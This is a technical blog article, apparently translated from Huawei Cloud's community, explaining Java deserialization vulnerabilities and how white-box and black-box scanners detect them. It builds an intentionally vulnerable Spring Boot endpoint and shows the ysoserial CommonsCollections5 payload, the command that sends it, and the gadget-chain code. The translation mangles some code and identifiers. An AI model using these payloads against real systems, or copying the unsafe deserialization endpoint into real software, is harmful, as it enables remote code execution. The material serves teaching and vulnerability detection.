Abstract: In this article, we will first introduce the principle of Java deserialization vulnerability, and then introduce how security tools detect and scan such vulnerabilities.

This article is shared by Huawei Cloud community “Java Deserialization Vulnerability and Detection” by alpha1e0.

Introduction to Java deserialization

Java deserialization is one of the key research fields in the security industry in recent years. This kind of vulnerability is found in ApacheCommons Collections, JBoss, WebLogic and other common containers and libraries. Moreover, this type of vulnerability is easy to exploit and causes great damage, so it has a wide impact.

In this article, we will first introduce the principle of Java deserialization vulnerability, and then introduce how security tools can detect and scan such vulnerabilities.

1.1 What is deserialization

Java serialization refers to the process of converting Java objects into byte sequences. The serialized byte data can be saved in files and databases. Java deserialization is the process of restoring a sequence of bytes to Java objects. As shown below:

Serialization and deserialization by ObjectInputStream. ReadObject () and ObjectOutputStream writeObject () method.

Any class in Java that wants to be serialized must implement the Java.io.Serializable interface, for example:

public class Hello implements java.io.Serializable {
    String name;
}
Copy the code

Java.io.Serializable is an empty interface whose only function in Java is to flag a class to let the JRE determine that the class is Serializable.

Java also supports defining the following functions in a class:

private void writeObject(java.io.ObjectOutputStream out)
       throws IOException
private void readObject(java.io.ObjectInputStream in)
       throws IOException, ClassNotFoundException;
Copy the code

These two functions are not java.io.Serializable interface functions, but convention functions. If a class implements these two functions, So at the time of serialization and deserialization ObjectInputStream. ReadObject () and ObjectOutputStream. WriteObject () will take the initiative to call these two functions. This is the root cause of deserialization

Such as:

public class Hello implements java.io.Serializable { String name; private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { Runtime.getRuntime().exec(name); }}Copy the code

This class will execute commands during deserialization. We construct a serialized object with the name malicious command, so malicious commands will execute during deserialization.

During deserialization, an attacker can control the “data”, only can’t control how to perform, so must be attacked by application specific scenarios for attack purposes, such as in the above example is a serializable class execute commands (Hello), use the readObject function command execution in the scene to realize the attack

1.2 Example reoccurrence of deserialization vulnerability

Here we construct a vulnerability shooting range for vulnerability replay testing: use Spring-boot to write an application that can receive HTTP data and deserialize it.

IO/to generate a spring-boot application, select Maven Project, Java8

Download to local, import IDE, modify POm. XML to add Apache CommonsCollections 3.1 dependency (this version has deserialization vulnerability)

< the dependency > < groupId > Commons - collections < / groupId > < artifactId > Commons - collections < / artifactId > < version > 3.1 < / version > </dependency>Copy the code

Modify demoapplication.java to the following code

package com.example.demo; import java.io.IOException; import java.io.ObjectInputStream; import javax.servlet.http.HttpServletRequest; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.GetMapping; @SpringBootApplication @RestController public class DemoApplication { public static void main(String[] args) { SpringApplication.run(DemoApplication.class, args); } @GetMapping("/hello") public String hello() { return "hello world"; } @postmapping ("/rmi") public String rmI (HttpServletRequest Request) {try {ObjectInputStream ois = new ObjectInputStream(request.getInputStream()); Object obj = (Object) ois.readObject(); return "unmarshal " + obj.getClass().getName() + " ok"; } catch (ClassNotFoundException | IOException e) { return "unmarshal failed"; }}}Copy the code

At this point we have completed a validation range with the Apache Commons Collections vulnerability and started the range application

We use ysoserial to generate attack payload:

java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "calc.exe" > poc
Copy the code

And then use httpie to send attack payload (POC)

HTTP post http://127.0.0.1:8080/rmi < pocCopy the code

At this point, you can see the commands in the POC execute

1.3 Deserialization vulnerability analysis

In the example of 1.2, we use the payload of CommonsCollections5 of YSOserial. In this section, we analyze the POC

public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( // The transform executing the "chain" class calls transformer using reflection to execute the command new transformer []{new ConstantTransformer(1)}); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, ExecArgs), // here is the command calc.exe new ConstantTransformer(1)}; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry = new TiedMapEntry(lazyMap, "foo"); TiedMapEntry = new TiedMapEntry(lazyMap, "foo"); / / this class toString will eventually call lazyMap. Get BadAttributeValueExpException val = new BadAttributeValueExpException (null); // For the final deserialized class, readObject calls Entry.toString Field Valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); return val; }Copy the code

Can eventually deserialized object for javax.mail. Management BadAttributeValueExpException, provided readObject methods in the class, for where there are problems

val = valObj.toString();
Copy the code

Here valObj is TiedMapEntry(lazyMap, “foo”), the toString method of the class

public String toString() {
    return this.getKey() + "=" + this.getValue();
}
Copy the code

The enclosing getValue

public Object getValue() {
    return this.map.get(this.key);
}
Copy the code

And this.map is lazyMap = Lazymap.decorate (innerMap, transformerChain), in lazyMap

public Object get(Object key) { if (! Super.map.containskey (key) {transform Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); }}Copy the code

This.factory.transform (key) is called when no key is found.

The transformer that this. Factory constructs for us is the transformerChain of execution that contains payload. This transformer will eventually execute commands through reflection.

2. Java deserialization vulnerability detection

In principle 1, we can see that deserialization vulnerability relies on execution chain to complete attack payload execution. Due to the characteristics of deserialization vulnerabilities, vulnerability scanning tools generally focus on the detection of known vulnerabilities during detection, while security tools are very limited in the detection of unknown vulnerabilities, and professionals are generally required to discover them through security audit, code audit and other methods.

The Java deserialization vulnerability relies on two factors:

1. Whether the application has a deserialization interface

2. Check whether the application contains vulnerable components

Therefore, the corresponding vulnerability scanning tool also needs to detect the two factors.

2.1 White-box tool testing

A white-box code audit tool that looks for serialization operations in the call chain:

  • The entry of the call chain is different for different frameworks. For example, in example 1.2, the entry of the call chain is the Spring-boot Controller.

  • Once found a hair in invocation chain serialization operation ObjectInputStream. ReadObject () there is serialized operation at the interface

However, relying on the above information alone is not enough to determine whether there is a vulnerability. It is also necessary to determine whether there is a tripartite dependency of * execution chain ** in the code. In Java, the pox.xmlbuild.gradle file is typically analyzed to see if it contains a vulnerable component.

2.2 Black box vulnerability scanner detection

Web vulnerability scanners detect vulnerabilities differently from white-box tools.

Firstly, the vulnerability scanner needs to identify the deserialization request. Here, it should be noted that web vulnerability scanning cannot directly discover deserialization interface through crawler, so it often needs to cooperate with components of other Web vulnerability scanners (such as proxy components) to identify deserialization interface, as shown in the figure below

Nowadays, web vulnerability scanners all provide proxy components to discover HTTP requests of applications. Crawler components can trigger requests to enter proxy components through foreground pages. However, in the API scenario, the tester still needs to invoke the API to generate HTTP request data.

After intercepting HTTP request data, the proxy component can determine whether a request is a serialized request in two ways:

1. The content-Type of the HTTP request, specifically ContentType: Application/X-Java-Serialized-Object is the request header of the serialized request

2. Check whether the request data starts at 0xaced. Sometimes serialized requests do not have the correct Content-Type

When determining whether an interface is a serialized interface, the vulnerability scanner will send a detection payload to determine whether the interface has deserialization vulnerability. The attack payload here is similar to the ysoSerial tool used in Section 1.2. In most cases, it is impossible to see the echo (HTTP returns no attack execution result). Therefore, blind injection is only possible, that is, a command like sleep 10 is sent to determine whether there is a vulnerability based on the response time.

Huawei Cloud Vulnerability Scanning Service VSS Basic Edition free experience for a limited time >>>

Click to follow, the first time to learn about Huawei cloud fresh technology ~